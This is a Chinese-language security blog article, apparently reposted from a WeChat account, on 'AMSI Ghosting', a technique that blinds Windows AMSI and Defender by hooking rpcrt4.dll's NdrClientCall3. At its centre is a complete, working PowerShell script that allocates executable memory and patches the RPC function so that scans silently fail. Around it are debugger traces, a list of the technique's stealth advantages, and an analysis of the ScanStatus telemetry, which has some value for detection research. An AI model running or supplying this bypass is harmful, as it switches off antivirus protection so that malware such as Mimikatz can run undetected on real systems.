从 AMSI 隐身:切断 RPC 以绕过杀毒软件

admin 2025年5月26日19:52:20评论27 views字数 8061阅读26分52秒阅读模式

本文探讨了如何通过劫持 AMSI 所依赖的 RPC 层来绕过其扫描逻辑,特别是用于调用远程 AMSI 扫描的 NdrClientCall3 存根。

该技术利用了 AMSI 的 COM 层架构,它通过 RPC 将扫描请求委托给注册的杀毒软件提供商。通过拦截传递给 NdrClientCall3 的参数(这是一个核心的 RPC 编组函数),我们可以在恶意载荷被序列化并发送到杀毒引擎之前将其抑制。

从 AMSI 隐身:切断 RPC 以绕过杀毒软件

最终结果是,AMSI 扫描看似无害的内容,而实际的有效载荷则保持隐藏。

  1. AMSI 组件尝试 扫描内容
  2. 它试图使用 RPC 与扫描服务通信
  3. 你的 trampoline 拦截此通信并立即返回,不进行实际扫描
  4. AMSI 认为这是一个“成功”并继续执行

与传统的 AMSI 绕过技术不同(这些技术通常涉及修补 AmsiScanBuffer 等函数或设置 amsiInitFailed 等内部标志),这种方法在更低的层次上操作,通过避免对 amsi.dll 本身的任何修改来规避检测。这些旧技术现在通过现代杀毒软件的行为签名和完整性检查被严密监控。

该绕过的核心是 rpcrt4.dll!NdrClientCall3,这是 RPC 运行时的一个底层组件,负责将函数参数编组成符合协议的格式并将其分派到 RPC 服务器。

AMSI 依赖于自动生成的存根,这些存根最终会调用 NdrClientCall3 与杀毒软件提供商通信。通过挂钩此调用,我们能够以手术般的精度操纵或短路 AMSI 扫描请求。

  1. 正常 AMSI 操作
  • AmsiScanBuffer/AmsiScanString 调用 AMSI 基础设施
  • NdrClientCall3 处理与杀毒引擎的 RPC 通信
  • 杀毒软件接收内容,扫描它并返回结果
  • 检测到恶意内容时将其阻止

2. AMSI 隐身技术

  • NdrClientCall3 在内存中被修补
  • 不是向杀毒软件发出 RPC 调用,而是重定向到 trampoline
  • trampoline 立即返回 S_OK(成功)但带有错误
  • 此特定错误迫使 AMSI 进入其回退路径,RPC 存根永远不会到达杀毒引擎,所有内容都无需实际扫描即可通过

这就是该技术如此有效的原因——它不会禁用 AMSI 或移除钩子(这可能会被检测到)。相反,它通过操纵通信通道来利用 AMSI 自身的内置回退机制,使 AMSI 认为它正常运行,同时阻止任何实际的安全扫描发生。

该方法的技术优势在于它比其他绕过技术更隐蔽,因为它保留了正常操作的外观,同时使扫描失效。

🔁 正常流程

  1. 参数被编组——要扫描的内容和其他参数被准备传输
  2. 从 AMSI 基础设施向反恶意软件提供商(Windows Defender 或第三方杀毒软件)发出 RPC 调用
  3. 反恶意软件引擎分析内容并设置适当的 AMSI_RESULT 值(例如,对于恶意内容设置为 AMSI_RESULT_DETECTED
  4. 函数返回 S_OK 以指示扫描过程本身成功完成

S_OK 返回值仅表示扫描过程正常运行——这并不意味着内容是安全的。实际的安全判定包含在通过输出参数返回的 AMSI_RESULT 值中。

这是 AMSI 隐身绕过利用的一个重要技术细节。通过返回 S_OK 但阻止实际扫描发生,它欺骗系统认为一切正常,同时绕过了安全检查。

从 AMSI 隐身:切断 RPC 以绕过杀毒软件

该技术使杀毒软件的存在对 AMSI 基本上不可见。通过针对 NdrClientCall3 并使用 trampoline 钩子,这种绕过在比大多数其他 AMSI 绕过技术更深的层次上操作。

这里的关键创新在于,它不是直接攻击 AMSI 或禁用 Windows 安全功能(这可能会触发警报),而是巧妙地拦截组件之间的通信通道,允许恶意内容“隐身”通过安全控制。

我们没有修补 AMSI 或杀毒软件提供商,我们劫持了 它们之间的桥梁

📡 RPC 转换

这些 API 捕获的相关信息通过称为远程过程调用(RPC)的进程间通信机制转发给 Windows Defender。Windows Defender 分析后返回扫描结果。

在内部,RPC 调用经过

  • rpcrt4.dll!NdrClientCall3() ← 这是构建并向 Defender 服务发送 RPC 请求的实际函数。

🕳️ 绕过 Defender —— AMSI 隐身

Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public class Mem {    [DllImport("kernel32.dll")]    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);    [DllImport("kernel32.dll")]    public static extern IntPtr LoadLibrary(string name);    [DllImport("kernel32.dll")]    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);    [DllImport("kernel32.dll")]    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);    [DllImport("kernel32.dll")]    public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);    [DllImport("kernel32.dll")]    public static extern IntPtr GetCurrentProcess();}"@$PAGE_EXECUTE_READWRITE 0x40$MEM_COMMIT 0x1000$MEM_RESERVE 0x2000$PATCH_SIZE 12# Allocate trampoline: mov eax, 0; ret$size = [UIntPtr]::op_Explicit(0x1000)$trampoline = [Mem]::VirtualAlloc([IntPtr]::Zero$size$MEM_COMMIT -bor $MEM_RESERVE$PAGE_EXECUTE_READWRITE)# Exit if trampoline allocation failedif($trampoline -eq [IntPtr]::Zero) {    Write-Error "[-] Failed to allocate trampoline."    return}# Write hook: mov eax, 0; ret$hook = [byte[]](0xB80x000x000x000x000xC3)[System.Runtime.InteropServices.Marshal]::Copy($hook0$trampoline$hook.Length)# Flush instruction cache$len = [UIntPtr]::op_Explicit($hook.Length)[Mem]::FlushInstructionCache([Mem]::GetCurrentProcess(), $trampoline$len) | Out-Null# Get function address$lib = [Mem]::LoadLibrary("rpcrt4.dll")$func = [Mem]::GetProcAddress($lib"NdrClientCall3")if($func -eq [IntPtr]::Zero) {    Write-Error "[-] Failed."    return}# Unprotect target memory$oldProtect 0[Mem]::VirtualProtect($func, [UIntPtr]::op_Explicit($PATCH_SIZE), $PAGE_EXECUTE_READWRITE, [ref]$oldProtect) | Out-Null# Write patch: mov rax, trampoline; jmp rax$trampAddr $trampoline.ToInt64()$patch = [byte[]](0x480xB8) + [BitConverter]::GetBytes($trampAddr) + [byte[]](0xFF0xE0)[System.Runtime.InteropServices.Marshal]::Copy($patch0$func$patch.Length)Write-Host "[+] NdrClientCall3 patched - AMSI Ghosting."

📦 内存操作常量

定义常用的 VirtualAlloc 和 VirtualProtect 标志位:

$PAGE_EXECUTE_READWRITE = 0x40  $MEM_COMMIT = 0x1000  $MEM_RESERVE = 0x2000  $PATCH_SIZE = 12

将内存设置为可读、可写、可执行(RWX),并应用 12 字节的补丁(64 位架构下的mov rax, addr; jmp rax指令)。

分配跳板函数

您正在分配一个全新的 0x1000 字节的可执行内存页,用于托管您的伪造函数(跳板函数,trampoline)。

$trampoline = [Mem]::VirtualAlloc(...)

编写跳板代码:mov eax, 0;

$hook = [byte[]](0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3)
  • B8 00 00 00 00 = mov eax, 0 ; 返回 S_OK (HRESULT 0)
  • C3 = ret ; 干净地退出函数
从 AMSI 隐身:切断 RPC 以绕过杀毒软件

RPC 函数命中

在输出底部,您已在 RPCRT4!NdrClientCall3 处命中断点:

Breakpoint 4 hit  RPCRT4!NdrClientCall3:  00007ff9`2e388060 4cb80000e05c00020000 mov rax,2005CE00000h

这里展示的是 NdrClientCall3 函数的补丁版本。原始函数不会以 mov rax, <address> 开头。

指令 4cb80000e05c00020000 解码为 mov rax, 2005CE00000h,这表示将你的跳板函数地址加载到 RAX 寄存器

随后会跳转到该地址,从而将 RPC 调用重定向到你仅返回 0 的简单函数。当该函数执行时,它不会进行正常的 RPC 通信,而是直接跳转到你的跳板代码。

干净版本如下:

从 AMSI 隐身:切断 RPC 以绕过杀毒软件

发生了什么

修改了 NdrClientCall3 的入口点以重定向到你的跳板函数

  1. 代码包含 mov eax, 0; ret
  2. 这有效地短路了 RPC 通信

当 AMSI 尝试使用 RPC 在组件之间通信(可能用于验证检查)时,它会被短路并返回一个"成功"的返回值。

这正是AMSI 隐身绕过的工作原理——原始 NdrClientCall3 函数的前 12 个字节被覆盖为将执行重定向到攻击者控制的跳板函数的代码。原始函数的其余代码仍然存在,但永远不会被执行。

因此,它不会编组并发送扫描请求给杀毒软件提供商,而是立即返回 0,就像扫描成功且未发现任何问题一样。

AMSI 不会区分"杀毒软件不可用"和"杀毒软件通信被故意篡改"的情况

为什么它比 RET 补丁更好

我们编写了一个12 字节的补丁mov rax, trampoline jmp rax

从 AMSI 隐身:切断 RPC 以绕过杀毒软件

并且在控制流防护(Control Flow Guard, CFG)下是安全的

它不会破坏调用栈 + 避免跳转到意外内存,并保留了基于 rax 的间接调用

🚫 跳板函数的作用

PowerShell  AMSI  NdrClientCall3                                        [🔀 Trampoline Patch]                                        return S_OK (HRESULT 0)                                        AMSI believes it's clean                                        AV is NEVER reached

这就像调用一个函数并说:“嘿,我调用了它。相信我,它说‘一切正常’。” “这里没有坏东西——继续吧。”尽管从未进行过任何扫描

跳板补丁行为:我们的补丁劫持了 NdrClientCall3,强制其立即返回而不是发起实际的 RPC 调用。

  • 返回值:rax = 0x80070002 → ERROR_FILE_NOT_FOUND
  • 这表明 AMSI 的扫描尝试被静默丢弃

这证实了补丁成功——通常与反恶意软件提供商通信的 RPC 函数已被修改为返回一个强制 AMSI 进入其回退路径的响应。即使 Windows Defender 在系统上处于活动状态,AMSI 也无法再与其正常通信。

被修补的 RPC 函数使 AMSI 表现得好像没有可用的反恶意软件提供商,从而阻止了“Invoke-Mimikatz”字符串被正确分析为潜在的恶意内容。

这正是绕过技术的工作原理——通过操纵 AMSI 和安全提供商之间的通信通道,而不是完全禁用 AMSI。

调用栈模式:

  • 正常的 AMSI 扫描流程保持不变:AmsiUtils.ScanContent → CompiledScriptBlockData.PerformSecurityChecks
  • 这证实 PowerShell 仍在尝试执行安全检查,但你的 RPC 拦截阻止了实际的安全判定被正确传达

在分析 AMSI 日志时,我注意到应用补丁后,ScanResult 如预期出现,但 ScanStatus 被设置为 2

从 AMSI 隐身:切断 RPC 以绕过杀毒软件

根据 Red Canary 博客 (链接),AMSI 事件的 ScanStatus 值——通常预期为 0(干净)或 1(恶意)——在打补丁后发生了变化。这表明 AMSI 的 ETW 遥测可能反映了篡改或绕过活动。

基于对 AMSI 及其与反恶意软件扫描接口交互的研究,扫描行为似乎遵循两种不同的执行路径:

  • 主路径 (ScanStatus = 1):通过注册的反恶意软件提供商的标准扫描路径。
  • 次路径 (ScanStatus = 2):当主路径失败时触发的回退机制。

当使用回退路径时,内部 RPC 调用通常会失败,并返回 AMSI 识别的特定错误代码。从 WinDbg 跟踪中,我们观察到:

  1. ERROR_NOT_READY (0x80070015) - 这出现在“自然”回退场景中,当没有可用的杀毒软件时
  2. ERROR_FILE_NOT_FOUND (0x80070002) - 这是使用 AMSI 隐身绕过 时返回的错误代码

当 AMSI 遇到这些特定错误代码时,它会切换到 ScanStatus=2(回退路径)并自动将结果设置为 AMSI_RESULT_NOT_DETECTED,而不执行实际的安全扫描。

回退机制——最初旨在优雅地处理反恶意软件提供商不可用的情况——通过战略性地修补 RPC 函数被 AMSI 隐身技术利用。

🛣️ AMSI 扫描路径 —— 未打补丁

🔹 ScanStatus = 1 (主路径)

  • 当 RPC 通信成功 时触发
  • 杀毒软件接收扫描请求并返回合法的
  • AMSI_RESULT → 可以是 AMSI_RESULT_DETECTEDNOT_DETECTED 或其他
  • 这是 正常、功能齐全 的扫描路径

🔸 ScanStatus = 2 (回退路径)

  • 当 RPC 失败 并返回特定错误代码时触发:
  • ERROR_NOT_READY (0x80070015) 在自然回退场景中,杀毒软件实时保护被禁用。
  • ERROR_FILE_NOT_FOUND (0x80070002) 在 AMSI 隐身绕过中,并始终返回 AMSI_RESULT_NOT_DETECTED
  • 本质上变成了一个 盲扫描器 —— 没有杀毒软件可见性,在杀毒软件无法访问时用作降级模式

以下是 AMSI 扫描过程中的三种不同状态及其相关状态代码

状态 1:活动反恶意软件(正常操作)

  • ScanStatus: 1 (主路径)
  • 结果代码: 0x00000000 (成功)
  • 描述: AMSI 与 Windows Defender 或其他反恶意软件提供商成功通信,后者执行实际的内容扫描
  • 行为: 检测并阻止恶意内容;允许合法内容

状态 2:无可用反恶意软件(自然回退)

  • ScanStatus: 2 (回退路径)
  • 结果代码: 0x80070015 (ERROR_NOT_READY)
  • 描述: AMSI 无法找到或与任何注册的反恶意软件提供商通信
  • 行为: 允许所有内容执行,因为没有进行扫描

状态 3:AMSI 隐身(被利用的回退)

  • ScanStatus: 2 (回退路径)
  • 结果代码: 0x80070002 (ERROR_FILE_NOT_FOUND)
  • 描述: AMSI 的通信通道(RPC)被修补以模拟连接失败
  • 行为: 尽管存在并处于活动状态的反恶意软件解决方案,所有内容都被允许执行

完整流程比较

  • 在所有情况下,PowerShell 都会将“echo‘Invoke-Mimikatz’”传递给 AmsiScanBuffer

1- AMSI 处理

  • 在所有情况下,内部 AMSI 函数都会准备进行扫描

2. RPC 通信

  • 状态 1(活动):RPC 调用成功,参数正常
  • 状态 2(无杀毒软件):RPC 调用失败,因为没有注册的提供商
  • 状态 3(绕过):RPC 调用被补丁拦截并返回受控错误

3. 路径选择

  • 状态 1:使用主路径 (ScanStatus = 1)
  • 状态 2 & 3:使用回退路径 (ScanStatus = 2)

4. 扫描结果

  • 状态 1:根据内容变化(通常对于恶意内容为 AMSI_RESULT_DETECTED)
  • 状态 2:ERROR_NOT_READY (0x80070015)
  • 状态 3:ERROR_FILE_NOT_FOUND (0x80070002)

5. 最终结果

  • 状态 1:阻止恶意内容执行
  • 状态 2 & 3:允许所有内容执行

最关键的洞察是,状态 3(绕过状态)故意激活了 AMSI 的内置回退机制,强制其表现得好像没有可用的安全提供商,即使系统上有一个正在积极运行。

第三方杀毒软件提供商: 对于其他杀毒软件解决方案,架构是类似的。它们注册的 AMSI 提供者 DLL 可能包含完整的扫描逻辑,或者更常见的是,将数据转发给该供应商的安全服务或引擎。

AMSI 隐身绕过在比传统 AMSI 绕过方法更低的抽象层次上操作,通过直接操纵 RPC 通信有效地绕过了安全检查。以下是它的工作原理:

  1. PowerShell 发起 AMSI 扫描PowerShell 调用 AMSI 来分析潜在的恶意内容。
  2. AMSI 使用 RPC 调用AMSI 内部使用远程过程调用(RPC)与杀毒软件提供商通信。
  3. RPC 调用拦截用于这些通信的关键 RPC 函数 NdrClientCall3 被拦截并重定向到自定义的跳板函数。
  4. 跳板内存修补与修补 amsi.dll 不同,你的跳板函数优雅地拦截并立即返回成功代码(S_OK 或 0),而不执行任何实际的内容检查。
  5. AMSI 被中和PowerShell 接收到成功代码并将其解释为“内容干净”,认为杀毒提供商只是不可用。

AMSI 隐身技术的优势

  • 更隐蔽的操作:不直接修改 amsi.dll,显著降低了被检测的风险。
  • 没有可疑的 DLL 修补:由于 AMSI DLL 保持未修改,典型的内存或完整性检查无法检测到篡改。
  • 完全绕过杀毒软件层:完全规避了依赖 AMSI 的杀毒软件检查层。
  • 通用 RPC 兼容性:对任何 AMSI 兼容的杀毒软件都有效,包括依赖 RPC 的第三方实现。

https://github.com/andreisss/Ghosting-AMSI

原文始发于微信公众号(securitainment):从 AMSI 隐身:切断 RPC 以绕过杀毒软件

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月26日19:52:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从 AMSI 隐身:切断 RPC 以绕过杀毒软件https://cn-sec.com/archives/4004882.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息